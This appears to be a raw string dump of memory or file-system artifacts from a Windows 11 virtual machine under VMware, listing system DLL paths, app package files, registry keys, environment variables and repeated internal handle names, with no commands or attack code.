\Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat::$ATTRIBUTE_LIST Public backgroundTaskH \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat::$ATTRIBUTE_LIST \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.XboxGamingOverlay_7.325.7221.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\S-1-5-21-3914889805-4071901059-918772286-1001-MergedResources-0.pri \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.MicrosoftStickyNotes_4.0.6105.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\S-1-5-21-3914889805-4071901059-918772286-1001-MergedResources-0.pri \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Graphics-Required-Full-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat::$ATTRIBUTE_LIST ex.txt~RF1367c.TMP \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat::$ATTRIBUTE_LIST \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\S-1-5-21-3914889805-4071901059-918772286-1001-MergedResources-1.pri erWidgets\ \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4 Resources-0.pri Sessions\1\AppContainerNamedObjects\S-1-15-2-1609473798-1231923017-684268153-4268514328-882773646-2760585773-1760938157 Sessions\1\AppContainerNamedObjects\S-1-15-2-364329911-4150717405-3056445719-2033109410-984633417-3778061428-3365209672 TSA://ProcUnique TSA://ProcUnique WIN://PKG WIN://PKG WIN://SYSAPPID WIN://SYSAPPID TSA://ProcUnique \Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\Public runtimebroker07f4358a809ac99a64a67c1 WIN://BGKD WIN://PKGHOSTID WIN://SYSAPPID WIN://PKGHOSTID TSA://ProcUnique WIN://PKGHOSTID runtimebroker07f4358a809ac99a64a67c1 TSA://ProcUnique WIN://PKG WIN://SYSAPPID TSA://ProcUnique WIN://PKGHOSTID WIN://SYSAPPID WIN://PKG TSA://ProcUnique TSA://ProcUnique WIN://PKGHOSTID WIN://PKGHOSTID SettingsExtensions.json WIN://PKG \Device\HarddiskVolume3\Windows\System32\NetworkUXBroker.dll WIN://SYSAPPID WIN://SYSAPPID TSA://ProcUnique WIN://PKG \Users\job\AppData\Local\Packages\Microsoft.Paint_8wekyb3d8bbwe\AppData runtimebroker07f4358a809ac99a64a67c1 \Device\HarddiskVolume3\Windows\System32\en-US\MidiSrv.exe.mui TSA://ProcUnique WIN://SYSAPPID WIN://PKGHOSTID \Device\HarddiskVolume3\Windows\System32\CoreMessaging.dll TSA://ProcUnique WIN://PKG TSA://ProcUnique TSA://ProcUnique WIN://PKGHOSTID WIN://SYSAPPID TSA://ProcUnique TSA://ProcUnique WIN://SYSAPPID \Device\HarddiskVolume3\Windows\System32\execmodelproxy.dll TSA://ProcUnique WIN://PKG WIN://PKGHOSTID WIN://PKG TileCache_100_4_PNGEncoded_Data.bin WIN://PKG \Device\HarddiskVolume3\Windows\System32\backgroundTaskHost.exe WIN://SYSAPPID \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Sorting\Versions WIN://PKGHOSTID TileCache_100_4_PNGEncoded_Header.bin WIN://PKGHOSTID TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique WIN://SYSAPPID WIN://PKGHOSTID WIN://PKG WIN://SYSAPPID TSA://ProcUnique microsoft.system.package.metadata TSA://ProcUnique \REGISTRY\MACHINE\Software\Microsoft\WindowsRuntime\ActivatableClassId TSA://ProcUnique microsoft.system.package.metadataUnique WIN://SYSAPPID WIN://PKGHOSTID \Registry\User\S-1-5-21-3914889805-4071901059-918772286-1001_Classes WIN://PKG \Registry\User\S-1-5-21-3914889805-4071901059-918772286-1001_Classes TSA://ProcUnique TSA://ProcUnique WIN://PKG WIN://PKGHOSTID WIN://BGKD WIN://PKGHOSTID WIN://PKG TSA://ProcUnique WIN://PKGHOSTID Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy!FullTrustApp WIN://SYSAPPID WIN://PKG TSA://ProcUnique WIN://PKG WIN://SYSAPPID TSA://ProcUnique WIN://SYSAPPID WIN://SYSAPPID TSA://ProcUnique WIN://PKGHOSTID runtimebroker07f4358a809ac99a64a67c1 WIN://PKG TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique WIN://SYSAPPID WIN://PKG TSA://ProcUnique 782a4ab843ce42e3ae55a5799d0f0cc1_1nique osoft.Windows.Pro.Addon_8wek microsoft.system.package.metadata \Device\HarddiskVolume3\Windows\System32\fwpolicyiomgr.dll TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique \Device\HarddiskVolume3\WINDOWS\System32\StructuredQuery.dll [CoreUI]-PID(4124)-TID(4932) 496b72d6-23f8-493b-a328-735466c6e5bb TSA://ProcUnique 775bd83bf93443bdbdb7251e70d1a8d3_1nique ISTRY\MACHINE\SYSTEM\Control SearchIconOffLight.scale-100.png \REGISTRY\USER\S-1-5-21-3914889805-4071901059-918772286-1001_Classes \Users\job\AppData\Local\Packages\MSTeams_8wekyb3d8bbwe\RoamingStateTID WIN://SYSAPPID \Users\job\AppData\Local\Packages\MSTeams_8wekyb3d8bbwe\LocalCache \Device\HarddiskVolume3\Windows\System32\WinRtTracing.dll \Users\job\AppData\Local\Packages\MSTeams_8wekyb3d8bbwe\LocalStateUnique TSA://ProcUnique WIN://SYSAPPID WIN://SYSAPPID WIN://PKG TSA://ProcUnique TSA://ProcUnique WIN://PKGHOSTID WIN://PKG microsoft.system.package.metadataPPID Microsoft.WindowsStore_8wekyb3d8bbwe WIN://BGKD TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique WIN://SYSAPPID TSA://ProcUnique \Device\HarddiskVolume3\Windows\System32\backgroundTaskHost.exe WIN://PKG WIN://PKGHOSTID [CoreUI]-PID(4124)-TID(4788) d3d213de-7487-4446-b177-959d1af49e54 WIN://SYSAPPID \Device\HarddiskVolume3\WINDOWS\System32\en-US\combase.dll.mui WIN://PKGHOSTID \Device\HarddiskVolume3\Windows\System32\policymanager.dll TSA://ProcUnique \Device\HarddiskVolume3\WINDOWS\SYSTEM32\en-US\PROPSYS.dll.mui WIN://PKGHOSTID [CoreUI]-PID(4124)-TID(4932) 7386b85b-b2e3-46a9-abc7-f84cd841ceb0 TSA://ProcUnique TSA://ProcUnique WIN://PKGHOSTID WIN://PKG WIN://PKG WIN://PKGHOSTID TSA://ProcUnique WIN://SYSAPPID TSA://ProcUnique WIN://SYSAPPID WIN://PKG TSA://ProcUnique microsoft.system.package.metadata WIN://SYSAPPID TSA://ProcUnique WIN://PKGHOSTID [CoreUI]-PID(4124)-TID(4932) 33e5d99d-5111-4438-8c8b-69d2744fdfa9 WIN://PKG microsoft.system.package.metadata WIN://PKG WIN://SYSAPPID WIN://PKGHOSTID TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique WIN://PKGHOSTID \Device\HarddiskVolume3\Windows\System32\backgroundTaskHost.exe WIN://PKG \Device\HarddiskVolume3\Windows\System32\twinapi.appcore.dll TSA://ProcUnique WIN://PKG WIN://PKGHOSTID WIN://SYSAPPID TSA://ProcUnique WIN://SYSAPPID WIN://PKGHOSTID WIN://PKG TSA://ProcUnique TSA://ProcUnique \Registry\User\S-1-5-21-3914889805-4071901059-918772286-1001_Classes TSA://ProcUnique WIN://PKG TSA://ProcUnique WIN://PKGHOSTID WIN://SYSAPPID WIN://SYSAPPID \Users\job\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup WIN://SYSAPPID TSA://ProcUnique WIN://PKG TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique WIN://PKGHOSTID TSA://ProcUnique \ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique WIN://SYSAPPID TSA://ProcUnique TSA://ProcUnique WIN://PKG &Windows.UI.Input.InputSite.WindowClass WIN://PKG TSA://ProcUnique desktop.iniap.lnk //ProcUnique \ProgramData\Microsoft\Windows\Start Menu\Programs\Windows PowerShellon WIN://PKGHOSTID \Users\job\AppData\Local\Packages\Microsoft.Todos_8wekyb3d8bbwe\AppDatae WIN://SYSAPPID runtimebroker07f4358a809ac99a64a67c1 WIN://PKG WIN://PKGHOSTID TSA://ProcUnique TSA://ProcUnique z\Registry\WC\Silof4593ea5-87de-db06-313e-b59deeb5b394software \REGISTRY\USER\S-1-5-21-3914889805-4071901059-918772286-1001_Classes WIN://SYSAPPID TSA://ProcUnique [CoreUI]-PID(4124)-TID(4932) 82cda5a0-222a-4bae-afa5-44ff35fb8203 [CoreUI]-PID(4124)-TID(4932) 11fd07be-42b0-4941-a5f1-bf1450475e5a \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale \Device\HarddiskVolume3\Windows\System32\Midi2.KSTransport.dll \Registry\WC\Silof4593ea5-87de-db06-313e-b59deeb5b394user_classes TSA://ProcUnique \registry\user\S-1-5-21-3914889805-4071901059-918772286-1001_Classes WIN://SYSAPPID WIN://SYSAPPID \Registry\user\S-1-5-21-3914889805-4071901059-918772286-1001\Environment \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\WindowsApps \Device\HarddiskVolume3\Users\job\AppData\Roaming\Microsoft\Spelling \Device\HarddiskVolume3\Users\job\AppData\Roaming\Microsoft\Crypto WIN://PKGHOSTID \Device\HarddiskVolume3\Users\job\AppData\Local\Publishers\8wekyb3d8bbwe WIN://PKG WIN://SYSAPPID WIN://PKG WIN://SYSAPPID TSA://ProcUnique index.windows.bundle ttings microsoft.system.package.metadataUnique microsoft.system.package.metadata TSA://ProcUnique TSA://ProcUnique WIN://SYSAPPID WIN://PKG runtimebroker07f4358a809ac99a64a67c1 TSA://ProcUnique WIN://PKG runtimebroker07f4358a809ac99a64a67c1 TSA://ProcUnique TSA://ProcUnique WIN://SYSAPPID TSA://ProcUnique (BluetoothNotificationAreaIconWindowClass TSA://ProcUnique \Device\HarddiskVolume3\Windows\System32\policymanager.dll TSA://ProcUnique TSA://ProcUnique WIN://PKG TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique WIN://SYSAPPID runtimebroker07f4358a809ac99a64a67c1 WIN://PKG WIN://PKGHOSTID WIN://SYSAPPID TSA://ProcUnique WIN://PKG WIN://SYSAPPID TSA://ProcUnique WIN://PKGHOSTID WIN://PKGHOSTID TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique WIN://SYSAPPID WIN://PKG 89a5d80ebe624ad8adea344b0b19bb87_1nique TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique WIN://SYSAPPID WIN://SYSAPPID Microsoft.BingNews_8wekyb3d8bbwe strings backgroundTaskH \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\Search\settings.db-shm \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\Search\settings.db-shm WIN://SYSAPPID Microsoft.WindowsNotepad_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.WindowsStore_8wekyb3d8bbwe \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\DawnWebGPUCache\data_1 S-1-5-21-3914889805-4071901059-918772286-1001 MicrosoftWindows.CrossDevice_cw5n1h2txyewy LocalState \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.VCLibs.140.00.UWPDesktop_14.0.33728.0_x64__8wekyb3d8bbwe\msvcp140.dll WIN://SYSAPPID MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy Images windir=C:\WINDOWS upnp.dll dusmapi.dll ba5j5w5Wv4dSfVP6 WIN://ISMULTISESSIONSKU S-1-5-21-3914889805-4071901059-918772286-1001 Microsoft.WindowsStore_8wekyb3d8bbwe bitsigd.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\LocalState\WidgetSessions\Microsoft.StartExperiencesApp_8wekyb3d8bbwe!MicrosoftStart!!MicrosoftStartSportsWidgets\d84c4b2f-767c-4258-88dd-d113fd40d87f.dat 000011.ldb 2f-767c-4258-88dd-d113fd40d87f.dat \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\LocalState\WidgetSessions\Microsoft.StartExperiencesApp_8wekyb3d8bbwe!MicrosoftStart!!MicrosoftStartSportsWidgets\8a388052-b88e-41dc-b638-a3ae3f28bb1e.dat 000020.log 52-b88e-41dc-b638-a3ae3f28bb1e.dat \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\LocalState\WidgetSessions\Microsoft.StartExperiencesApp_8wekyb3d8bbwe!MicrosoftStart!!MicrosoftStartFinanceWidgets\369a1b77-37b6-400c-8aa7-39cd6f2320be.dat \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\identity_proxy\canary.identity_helper.exe.manifest a\Local\Packages s.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Site Characteristics Database\LOG imapi2.dll \Default \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Trust Protection Lists\Sigma\Content ize-32.png \Device\HarddiskVolume3\Program Files\WindowsApps\Clipchamp.Clipchamp_4.3.10120.0_x64__yxz26nhyzhsrt\resources.pri:WofCompressedData MANIFEST-000019 herWidgets\eeac8ff4-d397-4fc0-ab67-5865cb8e09b2.dat WIN://ISMULTISESSIONSKU WIN://ISMULTISESSIONSKU WIN://ISMULTISESSIONSKU WIN://ISMULTISESSIONSKU WIN://SYSAPPID Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe windir=C:\WINDOWS .JSE SH;. ESSO ECTU DENT tel6 WIN://SYSAPPID Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe SyncCenter.dll shdocvw.dll srchadmin.dll cscobj.dll Images Burn usbhub3.inf_loc \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\LocalState\FeedSessions\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetBoard!!BaselineFeedProvider\e8d7c322-237a-4a75-8c63-5e93954268b6.dat \Device\HarddiskVolume3\Program Files\WindowsApps\Clipchamp.Clipchamp_4.3.10120.0_neutral_split.scale-100_yxz26nhyzhsrt\resources.pri:WofCompressedData TEMP=C:\Users\job\AppData\Local\Temp TMP=C:\Users\job\AppData\Local\Temp USERDOMAIN=Windows11 USERDOMAIN_ROAMINGPROFILE=Windows11 USERNAME=job USERPROFILE=C:\Users\job windir=C:\WINDOWS WIN://SYSAPPID Microsoft.ZuneMusic_8wekyb3d8bbwe Service-0x0-3e5$\De wvid.inf_loc Burn wgencounter.PNF svchost river MMCSS Driv ssdpsrv.dll =C:\Users\job\AppData\Local\Temp USERDOMAIN=Windows11 USERDOMAIN_ROAMINGPROFILE=Windows11 USERNAME=job USERPROFILE=C:\Users\job windir=C:\WINDOWS \Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Basic-Http-Minio-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat &<=>9:"%=<9895 WofCompressedData WofCompressedData WofCompressedData \registry\machine \registry\comroot \registry\machine SM0:2008:120:WilError_03 WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData \Users\job\AppData Internet Explorer \Users\Default\AppData Internet Explorer SystemCertificates WofCompressedData PPID \Device\00000084 WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData C: | File level trim WofCompressedData C: | Create new file C: | Volume trim WofCompressedData lume3 C: | Volume flush C: | Allocate clusters WofCompressedData WmiAdapterDataReady WofCompressedData RefreshRA_Mutex_Flag Service Test Loopback A Service Test Loopback A WofCompressedData WofCompressedData \Device\00000082 WofCompressedData LRPC-a5330e73c2e4680c3f WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData PPID IshShutdown00001cdc MEMORYGuard_Writter MEMORYGuard_Reader WofCompressedData WofCompressedData WofCompressedData SM0:7388:120:WilError_03 WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData PPID WofCompressedData lume4 WofCompressedData WofCompressedData lume3 WofCompressedData WofCompressedData \Users\job\Searches WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData msctf.serverDefault1 WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData ONSKU WofCompressedData WofCompressedData WofCompressedData oem1.PNF Cache lmhsvc.dll.mui \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.XboxGamingOverlay_7.325.7221.0_neutral_split.scale-100_8wekyb3d8bbwe\resources.pri \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.MicrosoftStickyNotes_4.0.6105.0_x64__8wekyb3d8bbwe\resources.pri:WofCompressedData wdmaud.drv WIN://SYSAPPID Microsoft.WindowsCamera_8wekyb3d8bbwe settings.db-shm \Device\HarddiskVolume3\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.26100.7824_none_3e0870b2e3345462\comctl32.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\LocalState\FeedSessions\Microsoft.StartExperiencesApp_8wekyb3d8bbwe!MicrosoftStart!!MicrosoftStartFeed\af21c42d-5dae-454d-b699-df69fdd1ef8f.dat.~tmp \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider ctl32.dll viders.winmd \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe ctl32.dll viders.winmd \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.ZuneMusic_11.2509.7.0_neutral_split.scale-100_8wekyb3d8bbwe\resources.pri \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.BingNews_1.0.2.0_neutral_split.scale-100_8wekyb3d8bbwe\resources.pri TokenBroker rdpbus.inf_loc swenum.PNF \Device\HarddiskVolume3\Windows\Temp\vmware-vmusr-job.log \Device\HarddiskVolume3\Windows\INF\oem1.PNF Store\en-US \Device\HarddiskVolume3\Windows\Temp\vmware-vmusr-job.log \Device\HarddiskVolume3\Windows\INF\rdpbus.PNF Store\en-US \Device\HarddiskVolume3\Windows\System32\ReFsDedupSvc.exe l.mui \Device\HarddiskVolume3\Windows\Registration\R000000000006.clb \Device\HarddiskVolume3\Windows\INF\ndisvirtualbus.PNF \Device\HarddiskVolume3\Windows\System32\en-US\appidsvc.dll.mui \Device\HarddiskVolume3\Users\Default 32\mswsock.dll \Device\HarddiskVolume3\Windows\System32\vsocklib.dll \Device\HarddiskVolume3\Windows\System32\mfc140enu.dll .dll \Device\HarddiskVolume3\Windows\Temp\vmware-vmtoolsd-job.log \Device\HarddiskVolume3\Windows\Temp\vmware-vmtoolsd-job.log \Device\HarddiskVolume3\Windows\System32\Taskmgr.exe c.dll.mui \Device\HarddiskVolume3\Program Files\Windows NT dows \Device\HarddiskVolume3\Windows\System32\drivers\ndis.sys \Device\HarddiskVolume3\Users\Default\AppData\Local \Device\HarddiskVolume3\Windows\System32\mprddm.dll s.dll \Device\HarddiskVolume3\Windows\Temp\vmware-vmusr-job.log \Device\HarddiskVolume3\Windows\Temp\vmware-vmtoolsd-job.log \Device\HarddiskVolume3\Windows\INF\mssmbios.PNF ore\en-US \Device\HarddiskVolume3\Windows\Temp\vmware-vmtoolsd-job.log \Device\HarddiskVolume3\Windows\System32\en-US\dhcpcore.dll.mui \Device\HarddiskVolume3\Windows\System32\en-US\ESENT.dll.mui \Device\HarddiskVolume3\Windows\System32\en-US\dps.dll.mui \Device\HarddiskVolume3\Windows\INF\usb.PNF verStore\en-US \Device\HarddiskVolume3\Program Files\Windows NT\Accessories \Device\HarddiskVolume3\Windows\Fonts\calibri.ttf \Device\HarddiskVolume3\Windows\System32\WsmAuto.dll rt.dll \Device\HarddiskVolume3\Windows\INF\basicrender.PNF \en-US \Device\HarddiskVolume3\Windows\System32\drivers\ndis.sys vmware-vmusr-job.logVMWARE~3.LOG \Device\HarddiskVolume3\Windows\Fonts\calibri.ttf \Device\HarddiskVolume3\Program Files (x86)\Windows NT \Device\HarddiskVolume3\Windows\System32\mfc140enu.dll .dll \Device\HarddiskVolume3\Windows\INF\mshdc.PNF rStore\en-US \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat \Device\HarddiskVolume3\Windows\INF\oem8.PNF \Device\HarddiskVolume3\Windows\System32\en-US\w32time.dll.mui \Device\HarddiskVolume3\Windows\System32\BdeUISrv.exe .mui \Device\HarddiskVolume3\Windows\System32\msvcp140.dll e.dll \Device\HarddiskVolume3\Windows\INF\swenum.PNF Store\en-US \Device\HarddiskVolume3\Windows\System32\en-US\FntCache.dll.mui \Device\HarddiskVolume3\Windows\System32\en-US\nsisvc.dll.mui \Device\HarddiskVolume3\Windows\System32\BdeUISrv.exe e.dll.mui \Device\HarddiskVolume3\Windows\System32\en-US\wscsvc.dll.mui \Device\HarddiskVolume3\Windows\System32\WsmAuto.dll rt.dll \Device\HarddiskVolume3\Windows\System32\en-US\gpapi.dll.mui \Device\HarddiskVolume3\Users\job\Searches\desktop.ini \Device\HarddiskVolume3\Windows\System32\wscsvc.dll Defender \Device\HarddiskVolume3\Windows\System32\drivers\vhdmp.sys \Device\HarddiskVolume3\Windows\System32\en-US\RpcEpMap.dll.mui \Device\HarddiskVolume3\Windows\System32\w32time.dll \Device\HarddiskVolume3\Windows\System32\aadWamExtension.dll \Device\HarddiskVolume3\Windows\SysWOW64\wmp.dll re.dll \Device\HarddiskVolume3\Windows\System32\en-US\dusmsvc.dll.mui \Device\HarddiskVolume3\Windows\System32\fvecerts.dll p.dll.mui \Device\HarddiskVolume3\Windows\System32\RuntimeBroker.exe \Device\HarddiskVolume3\Windows\System32\en-US\umpnpmgr.dll.mui \Device\HarddiskVolume3\Windows\System32\en-US\bdesvc.dll.mui \Device\HarddiskVolume3\Windows\System32\WsmSvc.dll rt.dll \Device\HarddiskVolume3\Windows\System32\en-US\profsvc.dll.mui \Device\HarddiskVolume3\Windows\SysWOW64\netlogon.dll dll.mui \Device\HarddiskVolume3\Windows\System32\en-US\trkwks.dll.mui \Device\HarddiskVolume3\Windows\System32\en-US\umpo.dll.mui \Device\HarddiskVolume3\Windows\System32\en-US\umpoext.dll.mui \Device\HarddiskVolume3\Windows\System32\en-US\srvsvc.dll.mui \Device\HarddiskVolume3\Windows\System32\en-US\bdesvc.dll.mui \Device\HarddiskVolume3\Windows\System32\fvecerts.dll r.dll.mui \Device\HarddiskVolume3\Users\job\AppData\Local\IconCache.db \Device\HarddiskVolume3\Windows\System32\BdeUISrv.exe ll.mui \Device\HarddiskVolume3\Windows\System32\WsmAuto.dll rt.dll \Device\HarddiskVolume3\Windows\System32\bdesvc.dll v.dll.mui \Device\HarddiskVolume3\Windows\System32\BdeUISrv.exe ll.mui \Device\HarddiskVolume3\Windows\System32\drivers\vhdmp.sys \Device\HarddiskVolume3\Windows\System32\fvecerts.dll dll.mui \Device\HarddiskVolume3\Windows\System32\en-US\bdesvc.dll.mui \Device\HarddiskVolume3\Windows\System32\fvecerts.dll dll.mui \Device\HarddiskVolume3\Windows\System32\WsmAuto.dll rt.dll \Device\HarddiskVolume3\Windows\System32\BdeUISrv.exe .dll.mui \Device\HarddiskVolume3\Windows\System32\fvecerts.dll .dll.mui \Device\HarddiskVolume3\Windows\System32\drivers\smbdirect.sys \Device\HarddiskVolume3\Windows\System32\BdeUISrv.exe::$EA .mui \Device\HarddiskVolume3\Windows\System32\en-US\sysmain.dll.mui \Device\HarddiskVolume3\Windows\System32\WsmSvc.dll \Device\HarddiskVolume3\Windows\System32\advapi32res.dll \Device\HarddiskVolume3\Windows\System32\hspapi.dll \Device\HarddiskVolume3\Users\job\Searches\desktop.ini \Device\HarddiskVolume3\Windows\System32\VoiceAccess.exe \Device\HarddiskVolume3\Windows\System32\drivers\winnat.sys \Device\HarddiskVolume3\Windows\System32\en-US\winhttp.dll.mui \Device\HarddiskVolume3\Windows\System32\pcwum.dll \Device\HarddiskVolume3\Windows\System32\wecsvc.dll askHost.exe \Device\HarddiskVolume3\Windows\System32\WMALFXGFXDSP.dll \Device\HarddiskVolume3\Windows\System32\en-US\audiodg.exe.mui \Device\HarddiskVolume3\Windows\System32\LocationFramework.dll \Device\HarddiskVolume3\Windows\System32\bthserv.dll ll.mui \Device\HarddiskVolume3\Windows\System32\pcwum.dll \Device\HarddiskVolume3\Windows\System32\en-US\audiodg.exe.mui \Device\HarddiskVolume3\Windows\System32\pcwum.dll \Device\HarddiskVolume3\Windows\System32\WsmSvc.dll \Device\HarddiskVolume3\Windows\System32\hspapi.dll \Device\HarddiskVolume3\Windows\System32\LocationFramework.dll \Device\HarddiskVolume3\Windows\System32\LocationFramework.dll \Device\HarddiskVolume3\Windows\System32\pcwum.dll \Device\HarddiskVolume3\Windows\System32\wecsvc.dll askHost.exe \Device\HarddiskVolume3\Windows\System32\LocationFramework.dll \Device\HarddiskVolume3\Windows\System32\pcwum.dll::$EA \Device\HarddiskVolume3\Windows\System32\en-US\lmhsvc.dll.mui \Device\HarddiskVolume3\Windows\System32\taskhostw.exe s.dll \Device\HarddiskVolume3\Windows\System32\advapi32res.dll \Device\HarddiskVolume3\Windows\SysWOW64\netlogon.dll re.dll WidgetService.exeWIDGET~1.EXE \Device\HarddiskVolume3\Windows\Registration\R000000000006.clb \Device\HarddiskVolume3\Windows\System32\en-US\audiodg.exe.mui \Device\HarddiskVolume3\Windows\System32\lfsvc.dll .dll \Device\HarddiskVolume3\Windows\System32\LocationFramework.dll \Device\HarddiskVolume3\Windows\System32\WsmSvc.dll \Device\HarddiskVolume3\Windows\System32\lfsvc.dll \Device\HarddiskVolume3\Windows\System32\Geolocation.dll \Device\HarddiskVolume3\Windows\Registration\R000000000006.clb \Device\HarddiskVolume3\Windows\System32\bdesvc.dll .mui \Device\HarddiskVolume3\Windows\System32\w32time.dll \Device\HarddiskVolume3\Windows\System32\utcutil.dll rosoft \Device\HarddiskVolume3\Windows\System32\en-US\lfsvc.dll.mui \Device\HarddiskVolume3\Windows\System32\aadWamExtension.dll \Device\HarddiskVolume3\Windows\System32\DDORes.dll \Device\HarddiskVolume3\Windows\System32\drivers\smbdirect.sys \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat \Device\HarddiskVolume3\$Extend\$Deleted \Local .dll \Device\HarddiskVolume3\Windows\Fonts\SegUIVar.ttf \Device\HarddiskVolume3\Windows\Fonts\SegUIVar.ttf \Device\HarddiskVolume3\Windows\System32\AUDIOKSE.dll \Device\HarddiskVolume3\Windows\System32\RTMediaFrame.dll \Device\HarddiskVolume3\Windows\System32\drivers\tcpip.sys \Device\HarddiskVolume3\Windows\Fonts\SegoeIcons.ttf \Device\HarddiskVolume3\Windows\Fonts\SegoeIcons.ttf \Device\HarddiskVolume3\Users\job\Saved Games\desktop.ini \Device\HarddiskVolume3\Windows\SysWOW64\azroles.dll \Device\HarddiskVolume3\Windows\System32\IconCodecService.dll \Device\HarddiskVolume3\Windows\System32\IconCodecService.dll \Device\HarddiskVolume3\Windows\Registration\R000000000006.clb \Device\HarddiskVolume3\Windows\System32\WMALFXGFXDSP.dll::$EA \Device\HarddiskVolume3\Windows\System32\AUDIOKSE.dll \Device\HarddiskVolume3\Users\job\Favorites\desktop.ini \Device\HarddiskVolume3\Windows\System32\WMALFXGFXDSP.dll \Device\HarddiskVolume3\Windows\System32\RTMediaFrame.dll \Device\HarddiskVolume3\Windows\System32\en-US\ole32.dll.mui \Device\HarddiskVolume3\Users\job\AppData\Local\IconCache.db \Device\HarddiskVolume3\Windows\System32\WMALFXGFXDSP.dll 